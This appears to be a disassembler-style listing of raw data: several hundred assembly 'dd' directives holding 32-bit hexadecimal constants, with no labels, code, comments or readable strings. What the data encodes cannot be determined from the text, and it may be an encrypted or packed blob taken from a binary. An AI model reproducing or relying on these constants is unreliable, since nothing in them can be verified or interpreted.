		dd 0FC304C54h, 516CE9B0h, 0D15FB3B5h, 0D10772ECh, 0E5C066B1h
		dd 3EBCF05h, 59E0F0CCh,	0C1F18018h, 0A30A206h, 0C0D1E9CBh
		dd 7BB083A8h, 42D11DF3h, 0BE1481C5h, 40E62B6Dh,	0B50E21E8h
		dd 1B783664h, 1036BF3Eh, 0FC548273h, 488B5A5Eh,	5CA44A3Dh
		dd 0FBA25A3Fh, 6841C7C8h, 556C638Fh, 752B30C1h,	0CB2B7019h
		dd 6246B6BFh, 7DE9925Ch, 4AA23CC3h, 56091C70h, 0D70C5368h
		dd 7AAAF031h, 66650AD0h, 816414DCh, 890906F5h, 70605DE8h
		dd 7E55D968h, 5EBFE062h, 987CC0A8h, 340B0DA4h, 83776443h
		dd 12F7A073h, 3101EBE1h, 0CDA32912h, 0F5D075D6h, 93AB23CFh
		dd 5AF7696Ch, 0BA5235E9h, 135BBACAh, 57CFEF09h,	72BCF660h
		dd 454838AAh, 73270136h, 0EAC11287h, 9FC9A331h,	0BDBE3BFh
		dd 720766C3h, 0DF774D5Bh
		dd 3E465C82h, 7517B9F8h, 0A586570Eh, 0FBF1B085h, 0CB120179h
		dd 0D383E256h, 0CB96ACB2h, 0CD43107Bh, 4200AD4Ch, 68465505h
		dd 0C69D5EC3h, 30FFA0CDh, 315F1AC0h, 0F0C4525Ch, 1BC10C82h
		dd 0C9912A03h, 0B734A37Eh, 246C1229h, 53CC9706h, 5DE37BD2h
		dd 45775EF2h, 4D4CBFC2h, 881F7E85h, 2B1D0301h, 0CD817A1Ah
		dd 7B16459Dh, 0EACC03CFh, 4D44AC02h, 0F2A3280Eh, 79BCF603h
		dd 335EE5Ah, 96F7F7AAh,	1620EA05h, 77E97D42h, 0BE63C6F5h
		dd 0C0758BDEh, 0C16A6E30h, 1E12B880h, 96537C0Fh, 0A09CABEAh
		dd 804A0EB7h, 0FA0910C7h, 894EB4D1h, 0B9B2043Eh, 0E189490Bh
		dd 8ED55E2Bh, 0C3802335h, 0C4CF87CFh, 0E5D98249h, 0B910E246h
		dd 0DBE95037h, 5BC7F159h, 0DA1231ADh, 0A124BE95h, 3D41E6AAh
		dd 0EC730E9h, 0C2F6C680h, 49B45090h, 0ECDABCC1h, 5105F2ECh
		dd 98E97AB5h, 0ECB9F4A0h, 7C1C4C69h, 28C2F017h,	0CB2B681Ch
		dd 0C008B809h, 7FB70B18h, 0CA198C85h, 5256123Ch, 773F02AAh
		dd 852059C0h, 9F48D74Ah, 57203A78h, 95059030h, 32DA6B40h
		dd 2D5D193Fh, 5518420Dh, 9A3EAB5Bh, 61639A4Bh, 852C8E9Fh
		dd 0F119B95Eh, 61481C57h, 60F9605Ah, 3FEDB95Eh,	82224B30h
		dd 3BA30872h, 0AF510142h, 4E2F3DD0h, 2C40F04Ah,	4ECA613Ch
		dd 0B90049F2h, 29A2F81Bh, 6527E9F9h, 9E4B79E0h,	607CD668h
		dd 0C3C9E902h, 2CBE7AD8h, 1EA1C66Fh, 0A2FE17Fh,	0A774F34Ah
		dd 0F366478Bh, 0A522BFB2h, 4BC704AFh, 0C4065412h, 0FCCF563Ch
		dd 661A0299h, 0D55D34A8h, 0FADC0168h, 3167E597h, 7BA6490h
		dd 707F2D60h, 0B8384A0Ch, 0C550103Ah, 0E588510Eh, 1F30EF4Ch
		dd 58CCE661h, 10E0EE89h, 0B52F9A11h, 0CA21EE5Ah, 0B01C17D6h
		dd 58161FA5h, 85D25150h, 0B90707Eh, 83B021B3h, 0AAF15B85h
		dd 1C334A73h, 2F5FEFF5h, 0DE7270F4h, 21FE006Fh,	0EFC159F5h
		dd 0AFAC88A0h, 0CB0910A4h, 591F4613h, 9E684153h, 50CD3339h
		dd 0EAAA7145h, 7AFE9260h, 804A0F25h, 25FABA74h,	0EF1E5A38h
		dd 0F0C55100h, 16A7DC1Fh, 0BBEB18E9h, 8987EF39h, 0BCE4CE9h
		dd 0F86D80D9h, 4FE4CB7Bh, 1F16B3FDh, 0ED952956h, 84A457E6h
		dd 0FA6680F9h, 5D4E88B9h, 528159ECh, 85E7AEE9h,	34A26898h
		dd 0E92870FEh, 219AE188h, 6EE6F238h, 7CC5C4DAh,	300BC7FEh
		dd 3F345BD8h, 0B10177B0h, 28C904F7h, 0E9D02CC8h, 31694E72h
		dd 246DC60Fh, 4048FE72h, 0E955C13Ch, 0D02A0ACAh, 0EC6803F4h
		dd 58F51541h, 0B13E4525h, 0DF8F78B5h, 51F1B893h, 4AB18F2Ah
		dd 0D5FD31FAh, 3AD43523h, 93B68267h, 1D02B563h,	66DC5867h
		dd 0C068DDE9h, 5181BE4Ch, 0A0012170h, 0DCC5CB23h, 5BF90118h
		dd 4310B252h, 45F1469Dh, 4D273B5Ah, 0D9A17684h,	0D2C8FD6Ah
		dd 8A773DEAh, 9C8212Bh,	649EF6AFh, 68CB9123h, 7BCC2A28h
		dd 86D367B2h, 0BFE23390h, 306FEAB0h, 3749D45Fh,	68A6E066h
		dd 8F4B49A7h, 91171980h, 7C4A290Bh, 5E44BACh, 0AC9AE946h
		dd 7E65A5Ah, 0F5A1207Ch, 5309BFh, 0AC100AA4h, 43D8BF5Ch
		dd 72496827h, 0F0665AF3h, 283BC5EDh, 565BACFCh,	0E4C7A61Ch
		dd 0FE37D06Ch, 1312148Ch, 0D0A514E9h, 655FCABEh, 0F181370Fh
		dd 94C0AC9Ch, 0AB04F16Fh, 0D84BC5A6h, 0F46285F5h, 7FBD5F0Bh
		dd 4970E79h, 0E2BCF3A8h, 12D8375Bh, 19C43E2Bh, 0E707AD94h
		dd 2232D358h, 0C658FC6Bh, 59EA284Bh, 3E5C7D22h,	1F30F629h
		dd 0A666499Eh, 0F7C4AF96h, 92D3A3ABh, 40429198h, 0DA0FB88Dh
		dd 44073841h, 5B056A8Ah, 7617C181h, 0DA0A60E5h,	3BAEA40h
		dd 0C74929CEh, 13E1D731h, 0A4902EDBh, 0B0087D2Dh, 6B3700E4h
		dd 51521E65h, 565C9A68h, 0F1B24088h, 0EF69C328h, 8F0C4190h
		dd 182FD33Ah, 9B4716DFh, 0FFC0FB6Fh, 0F0645B1Ah, 0DE0330E9h
		dd 741FEFBFh, 6C521B2Fh, 38EB3C5h, 63D6E957h, 7BF23314h
		dd 1A209A2h, 354010D7h,	0AD96B503h, 5309C895h, 7CD20BBBh
		dd 0EC7D2364h, 5EE91818h, 2FF75FEEh, 65660913h,	2E99C302h
		dd 0FAC7C13Eh, 804AD61h, 0B5454984h, 0F8978968h, 3B53DA3h
		dd 0C5BC747h, 0E8D92773h, 68302A8Ah, 5AE45A4Ah,	53EA8C4Fh
		dd 71266800h, 0B85B2751h, 990E287Dh, 0E4D825DFh, 2B6F8EDCh
		dd 813B60CFh, 6D9B02E7h, 0D7F712B4h, 0D2679040h, 55ED5B2Fh
		dd 89448496h, 74490DC5h, 0CF0C3126h, 2F60EBB1h,	841CFE8h
		dd 94140CA0h, 877427ABh, 0D460F57Ah, 71E5D088h,	4F31205Bh
		dd 955BE980h, 0DF217D69h, 2B2BD4C1h, 905C12E6h,	924E6C07h
		dd 0AE78720Ah, 899F6775h, 705C829h, 0B4BF4077h,	0DCC801Ah
		dd 184AF4E6h, 64D1C713h, 0E77FF74Ch, 7C2D7B8Dh,	0E89368BFh
		dd 626EB4B2h, 4E0165D5h, 943AF587h, 3E44EB20h, 0A1D2CC60h
		dd 661BDDE7h, 54B8F9ECh, 651E3F74h, 0DAF44298h,	295F0702h
		dd 28A566CAh, 4874D1D0h, 4F0A3B72h, 20BCD529h, 0A70CC308h
		dd 0AE18E92Eh, 0F333475Bh, 4DB73820h, 6846A0DFh, 0A61CB02Fh
		dd 4278610h, 625E26EFh,	0F49800Ah, 2B092710h, 9A4DF5E9h
		dd 0C0A7042Ah, 2F1B62BAh, 0B16C7B57h, 82BAC2B4h, 8DAEE19h
		dd 0C6EE4046h, 660C000Dh, 0E9F389AAh, 0B29DFCDCh, 2FB504F5h
		dd 0F810DEF7h, 0D5011D7Dh, 0F44891C9h, 44334447h, 500E2D1Eh
		dd 26EB25C5h, 3FE9F654h, 77A2AA31h, 0DAA0793Ah,	5DD2E930h
		dd 0C80DA12Ch, 5485EF68h, 5E28FF16h, 0F8D04BF7h, 0DF0CDA06h
		dd 8C406432h, 0A9C7A606h, 89395357h, 0C7847D38h, 971AD1D0h
		dd 0D9D7C21Dh, 4675C9E5h, 0F8F72D1Bh, 5763F654h, 354705AAh
		dd 0FF336B10h, 0C8390A83h, 94C78914h, 0B1B7532Fh, 20B56B69h
		dd 9040A924h, 6CBCA188h, 0C10F24CFh, 297F16BFh,	16E1DB2Ch
		dd 30B0C127h, 61E868Bh,	0F2CC2CBDh, 2C32332h, 55684EF4h
		dd 0B588CB01h, 0C9591E08h, 0ED40EC7h, 0A45AD370h, 85F45AC6h
		dd 0D39AEAA3h, 0E909C843h, 4CFC162Dh, 795429E9h, 0AD9065F1h
		dd 2CF50248h, 0D74AAF55h, 20B2158Ah, 52FB0385h,	0DD3FC805h
		dd 22105087h, 0F095577Fh, 62078289h, 0B3EBF045h, 95C07EAh
		dd 90ACE4C0h, 8136857h,	12BC7891h, 8589547Dh, 5B0BE320h
		dd 504AB601h, 3D096BD9h, 54294AB8h, 9082031h, 698DE95Bh
		dd 200C945Fh, 0B225C95Ah, 403F5E23h, 5DB55141h,	2FF49Dh
		dd 59EA307Eh, 0FE3EE2D0h, 13D23ECAh, 44EB44F2h,	49FAD379h
		dd 0AF6BDCEBh, 882851D8h, 0A2090DD8h, 97B201Ah,	0FB11F432h
		dd 0A10EE8FDh, 2C028460h, 0DB866FC0h, 644FF699h, 0F92D7ABh
		dd 0A41363FAh, 0E24D61FAh, 240A2329h, 59C9C054h, 0BD5345FCh
		dd 39E98309h, 0E5772DBAh, 2C18E0D6h, 0C362A0Ch,	0EDC10126h
		dd 0D070F89Eh, 0F250D6B5h, 0FB44F5h, 49ACBE56h,	0C0E90CA3h
		dd 0ADB98064h, 2D0744FEh, 5D53713h, 1101FEBh, 80E90FFFh
		dd 16C53753h, 75B318A2h, 0BFEDCE16h, 84EE1240h,	7645A219h
		dd 6047FC29h, 5428A5C2h, 404C2164h, 32B730BDh, 79308BB4h
		dd 596227E6h, 20DFF76Ah, 465BBEA9h, 58346793h, 0C0B5B40Eh
		dd 23E9DE78h, 186B6C49h, 0EB0B67FAh, 8FF98307h,	0A7612CFFh
		dd 0E9829A14h, 40DADC5Ch, 57C5303Bh, 87206690h,	32505A83h
		dd 3A028969h, 0FDD9091Dh, 0D2F70DB1h, 0B55D0F34h, 8BA759F1h
		dd 0D8275C8Eh, 3E043605h, 0EBE9733Fh, 0BB7F9E0h, 4E7C04Fh
		dd 99B4E15Dh, 0EF26C42Eh, 0CDDED11Eh, 0E2AC5FF9h, 114DAB24h
		dd 0C3EA2492h, 0BD2EFA27h, 214A3F4Ch, 87B468A8h, 14A209AFh
		dd 0BD00685Eh, 0B0BC59F9h
		dd 0D6FCB7FDh, 0D704925Ah, 9D8B6029h, 4F6E9475h, 7D63E055h
		dd 5E11516h, 544CB781h,	0FDAA6317h, 43227304h, 7FC25386h
		dd 85E6D506h, 6A4C5ECh,	1B5BBA16h, 102BBD09h, 162AEDD4h
		dd 0F04E1178h, 0C84F2125h, 0F89429ABh, 35C0829Eh, 7D7FD8EEh
		dd 92D79453h, 0FF8A84CDh, 0B4254F8Bh, 841A355h,	0F2BA84A1h
		dd 7071CBEAh, 176097CAh, 12BFF028h, 0A7A05502h,	0E72C9AC6h
		dd 93041ECEh, 0EC3D7404h, 0B6464613h, 48024275h, 0B2521D04h
		dd 0EB8C7AF2h, 0C507EC2Fh, 0E5AE4768h, 0AC467802h, 68158E2Ch
		dd 4A695933h, 3C3A68A0h, 0CEBF3C83h, 0FBE75634h, 0CE057A8Bh
		dd 0ECFF31D3h, 2B820BFFh, 8A25D8D9h, 699905B5h,	39EB17D5h
		dd 41E16F74h, 5E54FE51h, 0CFC9B070h, 7CE9C691h,	0B900B178h
		dd 28A06DCEh, 2C63E181h, 8BA2566h, 0A32723BFh, 2F02C40h
		dd 3E80BE30h, 52DE0C40h, 6E05FA20h, 21DB8E25h, 7A25A9A8h
		dd 4FE61E27h, 0B329AF27h, 0DF03F940h, 5F4926C3h, 0A6FE70Dh
		dd 762508EBh, 0D50F45B9h, 16979B11h, 9229B249h,	387DE17Bh
		dd 2BFCD7A4h, 0AB2357D6h, 8101E178h, 5D162E36h,	0D5E1A0A9h
		dd 4B6601DFh, 152C85DDh, 0D6C5B44Ah, 1AA15F16h,	302D3CA0h
		dd 79CE66E9h, 6978E7E4h, 51EDCC2Dh, 404A0095h, 687ABA34h
		dd 8AE64295h, 0CDA84B14h, 0AFDF53F0h, 74E4D74Bh, 0A1D34BA1h
		dd 79CB8F47h, 655FC4A5h, 558D0A82h, 43C9EC1Bh, 7DA72A70h
		dd 0A88CE85Ah, 42E92F52h, 0E3B99980h, 277A0639h, 920DB52Fh
		dd 26EB56D8h, 680202BFh, 0D271363Dh, 604F9Fh, 803CB652h
		dd 0F128C3F6h, 6A59EA90h, 0CA080F4Ch, 8EEAC959h, 0E249DDDFh
		dd 3B7F8542h, 78239322h, 0F0F99C15h, 36929968h,	7251F497h
		dd 0D6651677h, 0FEF7F01Ah, 1BB081Dh, 41810EAFh,	5E70804Fh
		dd 704FD44h, 0A5BB4E59h, 1B7A400Eh, 4B60097Eh, 5E6D180Ch
		dd 48F2A155h, 7806A3BBh, 0C30BF33h, 7C27A209h, 76B1DD67h
		dd 0F6007F4Eh, 6F6853ADh, 6059B427h, 6352489Bh,	80B370B7h
		dd 9FDBB4CDh, 0BF8B4EF3h, 4AE05EE2h, 0B2BAC19Eh, 2BC1E661h
		dd 2FD93BB6h, 68E3807Eh, 909C3DEDh, 3FFDC86Fh, 0E691A04Ah
		dd 0DE953BFh, 0E10108h,	0A4BFD5FFh, 5815148h, 0E36635Dh
		dd 0E0047CADh, 0AF1C2A73h, 0C413CF6h, 0C2091F60h, 0D9F7494Eh
		dd 2E9ACAE0h, 0FC82A02Dh, 82AE16F0h, 978B83E1h,	4CDD00FFh
		dd 0B59D6C96h, 0E0059662h, 2A4B81FDh, 60452F01h, 39245C29h
		dd 0CAFA1113h, 74BB92D8h, 0D127D1FFh, 9CE00D2Bh, 238C2573h
		dd 0ED0F06D3h, 682FE06Eh, 995E6BE9h, 0E5600397h, 18DAC470h
		dd 62F7C6EBh, 38D6E0D9h, 59276850h, 0EEA45D3Fh,	558488A2h
		dd 0C78491F6h, 0D2563952h, 0CC0D9CFFh, 3526413h, 6A889B00h
		dd 1D14E06h, 0D07C2DE8h, 303123B0h, 9FBCC2A2h, 0A883F72Dh
		dd 41846632h, 96A54DDh,	3BCBEDh, 0FE46B388h, 0E33980C3h
		dd 0FDFDF505h, 8153642Bh, 0A178FE8h, 0C9167F4Bh, 283B0008h
		dd 0CCB0FEBh, 0D1651E3Dh, 56C88C99h, 0DC4F7DF2h, 53C6F3ACh
		dd 0E604397Bh, 15A019D0h, 2D836684h, 0E0E95BBDh, 3355CD0Ch
		dd 0CC2AE07Ch, 5602ACBAh, 0F7605A79h, 3BDA40D5h, 0C46E9DFCh
		dd 535F541Fh, 0B47BC96h, 0EB72DD31h, 0A69E772Dh, 8282DFE0h
		dd 64EDF3B7h, 0E3872563h, 0EE81CC51h, 46F043C8h, 7D01FC81h
		dd 0F3296D2Ch, 0A0081C41h, 4FB1141Ch, 0C6C9B8C7h, 654E015Bh
		dd 9DE9613Ch, 0DDF37FD1h, 6BC0CD92h, 8D24D3F2h,	68550278h
		dd 29577D28h, 13C4FE42h, 0CBD7E258h, 0C06FFC53h, 65C8753Bh
		dd 0EE58100h, 5123370Fh, 25680A52h, 8E4EA42h, 1F28BBCBh
		dd 4A06EF1Ch, 0FE803197h, 301573E6h, 0F26E62FAh, 0FD39F7EAh
		dd 2AACC01h, 0F441D8BDh, 0E93BC845h, 290BB599h,	0A8994575h
		dd 319E0A6Ch, 9E12A80h,	237BD2FDh, 43BF24B0h, 0F7E297EDh
		dd 452D175Ch, 0BB2EB05Eh, 5030064Ch, 6B2F8E0Bh,	0B01F9228h
		dd 2EB80943h, 8148AFh, 402C3C70h, 0D11E59Bh, 24C2A277h
		dd 0D7C303FFh, 4166F300h, 297612B6h, 0E9080182h, 7C93F388h
		dd 4F5ABC58h, 4F7704AAh, 4FBA98Dh, 5AD38897h, 0E3C0B680h
		dd 53661407h, 854EEDF6h, 0FED3E1A3h, 0B07F6B75h, 7C8850F3h
		dd 2803B7DDh, 0FA844BE0h, 9C193E2h, 2CF8E9C2h, 42B902FAh
		dd 77131721h, 67AA19A0h, 0FEEA4431h, 0C482F441h, 1E6D5702h
		dd 889A8FFh, 9FE8312Dh,	59F7007Eh, 0C1D8F740h, 0EC02E826h
		dd 96B5827h, 3165F56Fh,	0EC0287F0h, 0E96B9B83h,	2BF6BC4h
		dd 51CB8784h, 53D83868h, 0BC4ECA98h, 4014F95h, 125E5BBDh
		dd 32F2CA7Bh, 0D5D22E5Ch, 0E4F121E8h, 4FF96914h, 0F21046Fh
		dd 17AA55F2h, 0F60500FDh, 6F34453Eh, 6E6C11Eh, 31638679h
		dd 91E16E4h, 7E4B010Eh,	1CC8086Ah, 3625801Dh, 6321DFBBh
		dd 89FB3FE9h, 0C221AAh,	6083CA12h, 10F76AFh, 4C5ECDF2h
		dd 3F91E977h, 0CF2CDC07h, 0C66D2072h, 0A5A0A083h, 553C2062h
		dd 0B87AE919h, 17D980D2h, 2D42536Bh, 0D5AF206Dh, 84FFED9Fh
		dd 0FF235568h, 9ABAD064h, 59476025h, 0E1787A68h, 5087A77Bh
		dd 0E14D73FBh, 0CAD7321Dh, 6FCB5158h, 0BFE38EA4h, 0FC9F9AF3h
		dd 420A1E32h, 927F9480h, 36F803A1h, 0CBAD140h, 13F53BFh
		dd 1C170220h, 0F8A5511Ah, 4EB8EE4h, 0B9E988F5h,	2842FD32h
		dd 954E9954h, 201B18B8h, 39D1D3C3h, 0C4367C27h,	0EDF3F5C9h
		dd 0A474AE12h, 1411D77h, 0C438F86Eh, 47EEE790h,	9218DFEBh
		dd 9540435Ch, 402410E0h, 0C20255D9h, 4914506Ch,	843EE5Dh
		dd 8F1E055Bh, 82761C4Ch, 950A712Dh, 0F1CE2D01h,	0B86F74EAh
		dd 28CD025Bh, 405A7325h, 4A7D7B0Eh, 111E80F7h, 0B6E0533h
		dd 7A5050C2h, 0DD3B0992h, 2F0F291Fh, 0EC444509h, 0D2EE8012h
		dd 5C362CBEh, 5D2D2094h, 4365E220h, 789529B8h, 5953305Ah
		dd 262FC3B8h, 28035A2Fh, 942F082Fh, 0AB7AB573h,	0ED5FE91Ah
		dd 6E68D75Fh, 0EE2825EBh, 777AA121h, 291BC809h,	58AD7EDFh
		dd 0AE14F3C7h, 4BA3FA10h, 0C80E2A5h, 426F049Fh,	6C5ED5E9h
		dd 0C7106EE3h, 58012F15h, 104DD83Eh, 82C31D8h, 4A34E458h
		dd 0D68AF4ABh, 6A6CB24Eh, 7968175Ch, 0C0C2344Bh, 0AB3C08ABh
		dd 9B5D5B28h, 54C3FC03h, 0CEA7E9A4h, 0ADBF002Ah, 56374A75h
		dd 650439BEh, 0D6F7511Fh, 0C66E90BEh, 0EBB0FA36h, 798A0958h
		dd 6002CF09h, 24DFEA3h,	0C7470BBh, 0E9410BF4h, 0A1923396h
		dd 1F5A06C3h, 85BDE1AAh, 0B3AC533Ch, 0E86DBB4Ah, 0D8B2913Eh
		dd 4C53022Ch, 943890A2h, 1D68073Eh, 0E55F0977h,	3E713198h
		dd 0E637B171h, 9D06A7Fh, 0F724EF57h, 70D09B8h, 1C825F41h
		dd 0BD0059EDh, 583F1905h, 450FA970h, 0CB86026h,	0F37241A3h
		dd 236FAAA0h, 33ABA42Eh, 0D0D0CF12h, 5FE34D32h,	806AF14Eh
		dd 0A9285A12h, 97B7E9CAh, 5412EFE2h, 71A7A1F4h,	354CE6D4h
		dd 2E698280h, 5BA80999h, 0E9F807D3h, 315FAC94h,	2889CDDh
		dd 49187431h, 0C2D46C62h, 526E790Eh, 0A526D00Fh, 0C5121F91h
		dd 17066918h, 49443023h, 0DDC8370Eh, 46E95409h,	0C036CB70h
		dd 0B0368D04h, 5BB640B3h, 0A42CDD94h, 0C80D17BEh, 0FCD308ECh
		dd 0ED3CC9BCh, 0BB5F9743h, 8C5A34CBh, 54E06812h, 6E1CB995h
		dd 8C51C62Ah, 0B45FF92Ch, 0D701E928h, 0E938814Ah, 0C581E5C3h
		dd 6C07CDEEh, 76C13BF1h, 0DC722611h, 2E10BFD0h,	2A58263Eh
		dd 0E4C27D5Ah, 5E44F857h, 0F66EC8C2h, 4E7A281Eh, 751008C9h
		dd 0A880061Ah, 3CD9224Bh
		dd 9C092798h, 0FD25E20Ch, 4A1C8C16h, 40DCAB0Eh,	0F59D0541h
		dd 0CB6EB9A4h, 2A6C0921h, 0E36780D1h, 4CA474A6h, 37049034h
		dd 8026F2ECh, 9E736DDDh, 22502AF9h, 15B1D08h, 0D8ACE9C9h
		dd 52550F05h, 3B25DA89h, 7A98EFAEh, 0C06312EFh,	0BF01A06Ah
		dd 5D0705B5h, 0CCFE9C65h, 0CA41DA59h, 7540057Bh, 0CE81008Dh
		dd 32506373h, 0F66715B0h, 0E0645222h, 0C53E34B1h, 0D6B701E4h
		dd 0F8C1BF54h, 5881BCA5h, 48D2E22Ah, 0B5C620ADh, 0E817FAD4h
		dd 248891A0h, 4288873Ch, 4E5DBC02h, 5FBDF68Eh, 0DE09B8BAh
		dd 5E55804Bh, 0EB29C7EEh, 1332B390h, 30CAE825h,	4842C9D7h
		dd 6E102FFCh, 0C20113A7h, 0BBD065FBh, 0FE4E8B9Ah, 0FD9F630Bh
		dd 0AFAB40B0h, 0C45D9ACEh, 20F32883h, 4D74A7DDh, 1B26E961h
		dd 3F98592h, 442A8A7Eh,	74CC2FCh, 0BE4F05Dh, 66524655h
		dd 4B48A8F0h, 0A94E0415h, 81AAD759h, 7C17FCBFh,	58E0CB34h
		dd 5615B599h, 4BE9DB30h, 0B3B4A8D0h, 386082AAh,	404B8850h
		dd 0C37CB9B2h, 4EA2E903h, 8BFDBB2Eh, 0B94AB110h, 100B0578h
		dd 0E1002FB5h, 127C1BDEh, 0DC8EA358h, 2804AC12h, 1D27C401h
		dd 69165DB2h, 185AAFFCh, 77FD5F92h, 0DEABC043h,	0BCD4C4EFh
		dd 0C25ED84Fh, 0C48080A0h, 74514748h, 61351A5Bh, 4041D388h
		dd 0D02768E1h, 0A78DD92Ch, 0E28BDDE9h, 45D6737Fh, 1FF3EA9Ch
		dd 458BFD40h, 9DF7D8FEh, 308386B4h, 0D96F207Eh,	1781F3E5h
		dd 0D45F5DEEh, 0D657ED17h, 30B5609h, 1F08D49h, 0E36AE616h
		dd 836F27FAh, 0AF24C4F5h, 8F2261E6h, 48686609h,	43E8F749h
		dd 0C7178001h, 0E40428F9h, 99FC6975h, 0ED64BE92h, 21BE00C4h
		dd 390F2CA6h, 8968CB77h, 4B74733Ah, 5EC93475h, 7B02E12Ch
		dd 0EBD259E3h, 32E9C2DCh, 0C4B9940h, 163C7B75h,	0BF5F4038h
		dd 1A2364B5h, 0A24D5FF4h, 19FF486Ah, 0A9B51283h, 0AFC7136Bh
		dd 0E1545DDFh, 380A5FDFh, 14B5EF7h, 67E430FEh, 7E027A79h
		dd 0D9E95B5Fh, 26AE45BAh, 0B5F03B5Eh, 0B52A15Eh, 0B4BF50E3h
		dd 1077FA30h, 3BA52B5h,	5675672Dh, 0B2F31B9h, 4FCA5029h
		dd 7A69B577h, 12F497E1h, 7C1D42C1h, 0F3BEFD17h,	290020A8h
		dd 0E95559CDh, 0A293659Ah, 6811CE31h, 10164E76h, 817AE8C2h
		dd 7F36B729h, 43E6FBD1h, 9E409058h, 0E46AFB70h,	7276DC5Eh
		dd 0CC01643Ch, 2A084100h, 2CF1EC2Ch, 0A050E7Eh,	82EEC0EEh
		dd 30776FF6h, 0EB63E8D5h, 23491FBh, 677D5693h, 4E054960h
		dd 0F920B590h, 53593125h, 7EE23510h, 4285ED43h,	0F261DFCBh
		dd 0FDC6DF8Bh, 14B2A843h, 2D71E7F7h, 14E98D7h, 95E918C3h
		dd 0C15F52E8h, 50007EAh, 4C547B75h, 1E32E02Dh, 0C24852F6h
		dd 72272951h, 7B128389h, 87108109h, 78B26CE9h, 0F566BF80h
		dd 0CBF0CC1h, 8A307A5Dh, 1BD917CFh, 0C7010E17h,	0A936FD81h
		dd 0DB58D229h, 6BC3D20Bh, 0DCF08482h, 0EA9BB00h, 0D2955A68h
		dd 9A3C20D0h, 16DD709Dh, 0F071D2C8h, 772D22D2h,	0A03DD434h
		dd 535F4A08h, 51504FE9h, 0BB4874C4h, 94E0DBC9h,	8D109F1Eh
		dd 9C243793h, 7A0DE6Eh,	0F0895917h, 3BD14C08h, 210B2ECCh
		dd 2B7A5FF8h, 7993E227h, 18F64BA4h, 9717AF88h, 4EC1FC9Fh
		dd 419EB0F4h, 39F33C88h, 357D8481h, 0CED01BFCh,	0BDF79FF0h
		dd 0D2944B8Bh, 8B9D39Dh, 84247D9Fh, 907360Fh, 0CEA7684Ah
		dd 1A432C6Fh, 45F6015Dh, 226BA80Eh, 7F146137h, 6B7178DBh
		dd 0F266867Bh, 4DD9F42Eh, 0E4DB93E2h, 3B7E2708h, 0E869119Bh
		dd 57E6DF1Ch, 0DFA6F825h, 68053016h, 1F3260C0h,	2A50C408h
		dd 9619DE2h, 277A321Bh,	0B94E8B49h, 0B97E29C6h,	0D4A04E1Dh
		dd 0AB6182B5h, 0FCCCC9F9h, 0DC18865Bh, 0FE08D3F6h, 0AD6830C4h
		dd 0B048E96Fh, 5320C8ACh, 5E5B13C0h, 80A6E256h,	0E268D0F7h
		dd 0FB9C9D0Eh, 97F3C520h, 5EEB0EC0h, 5DD74717h,	42502FFh
		dd 0D0802566h, 4AD07B57h, 0E7E771B7h, 51CD7045h, 0F4FDD41Fh
		dd 0A80466F5h, 0EB29CF48h, 0A9D8BAFh, 0B642E959h, 6803DCADh
		dd 3F875962h, 0DF5B0D22h, 3B5D9761h, 79A9B117h,	0C516E391h
		dd 0B4475211h, 4A16597Fh, 0CBA6998h, 0B87B05A4h, 0E851790Ch
		dd 17B1F2CDh, 9134B2Ch,	50DB546Bh, 0ABB252C0h, 0CCF25080h
		dd 318860E6h, 0C6CF89EBh, 40A0514Bh, 0CB440105h, 31E9D46Ah
		dd 5AFC06F0h, 2D2C80C3h, 2E377D5Ch, 45C23061h, 2FFDC576h
		dd 17043EDEh, 7DC472BAh, 4CFB17AEh, 0E9682902h,	505DB4Ah
		dd 99ABC083h, 2B9C0906h, 24E92D68h, 699EA665h, 0EB55BFA4h
		dd 0E916DFE6h, 3C46B152h, 53F50E95h, 98F53749h,	0B5ADF93Fh
		dd 4D71CBFEh, 0FF2C001h, 0B0532E66h, 5EFA7FF7h,	0CC11A20Ah
		dd 2D683957h, 87B20BD4h, 3E0C40C0h, 5BC949Fh, 0C55C02CBh
		dd 0FA5EFB7Ch, 110C5E66h, 0F068CE65h, 89671891h, 13E9CBDEh
		dd 0FD980FB2h, 1A28960Bh, 6726004Ch, 0B5055CC4h, 0EF06F47Ah
		dd 3E586A3Ah, 831B9812h, 2F1C0608h, 0B746BD64h,	95273B98h
		dd 3FBE9301h, 0C6BA13FAh, 0E28C31ACh, 9677D821h, 1805A0CDh
		dd 0EBC85A31h, 6FBD8D40h, 1F62D338h, 5B9514Dh, 803CB227h
		dd 2110A53Ch, 125A264Dh, 4DAC01E9h, 30F53325h, 15550E4h
		dd 3E5DD868h, 68A7E93Bh, 2535051Ch, 6CB19210h, 1B0ED2Ch
		dd 0B724E9EFh, 0A3813038h, 94C7B35h, 0B16846Dh,	51420912h
		dd 7EBF6200h, 7ABF0DBEh, 1F41E62Ah, 0CC7B5801h,	0E3F514F7h
		dd 0D87A700Ch, 13112255h, 0FE450ACEh, 0E9CD6941h, 8A504AA2h
		dd 0F24E03EEh, 9DBE70F2h, 5FA5E95Bh, 0E92FE49Ch, 0B18C48CDh
		dd 0F1801E0Fh, 0A8A7FE6Ch, 2305E140h, 0A5792728h, 0DE727C0Eh
		dd 0FEC9C01Eh, 0BF0FCF7Eh, 0D9F7BEE0h, 2AA216C1h, 2E804C44h
		dd 47994E43h, 29FB29E9h, 2C620551h, 0BAC1798Fh,	322B7731h
		dd 5BC9A28Bh, 0BBA74709h, 0D74BC356h, 404569B6h, 2FADA92Fh
		dd 420DD92Dh, 5B04F859h, 311EB6E6h, 0E14A5D8h, 0E9295467h
		dd 7C895156h, 80DEBD3Ch, 0DC064AC2h, 39546E1Eh,	0E7F55517h
		dd 90387B0Ch, 25AF5AF0h, 7EA3EB04h, 1A70DB89h, 0B10979Dh
		dd 7D71CCE9h, 449A1ABCh, 6370FF10h, 3A12E50Fh, 0C0B8A92Fh
		dd 0BDE468FBh, 0A8FE32A3h, 5AA61558h, 2D0B38Ch,	0E92BD445h
		dd 4ED17AD3h, 0AF027DA5h, 8003A2DAh, 0F30600EBh, 0FEDBF6C2h
		dd 0FE9F50CBh, 0ECE9D840h, 4F8DF259h, 0A17B20E1h, 0DB4A7E9Ah
		dd 3B883CEh, 885359EEh,	0E9FD93F7h, 757AAC2Eh, 44F3BB22h
		dd 0A28E11h, 0EC106AE3h, 0FAD3F71Ch, 92C74BF6h,	0F9583482h
		dd 27AD554Eh, 2E3EFCD6h, 75A86B4Fh, 91810324h, 0AAB5C61Fh
		dd 0EAB490BCh, 3CE91131h, 0FAD3842Eh, 411A2FD8h, 0F3F06EA6h
		dd 0CAA25E75h, 0ACB516C3h, 2568F4D8h, 98E65EE6h, 0CA6FC803h
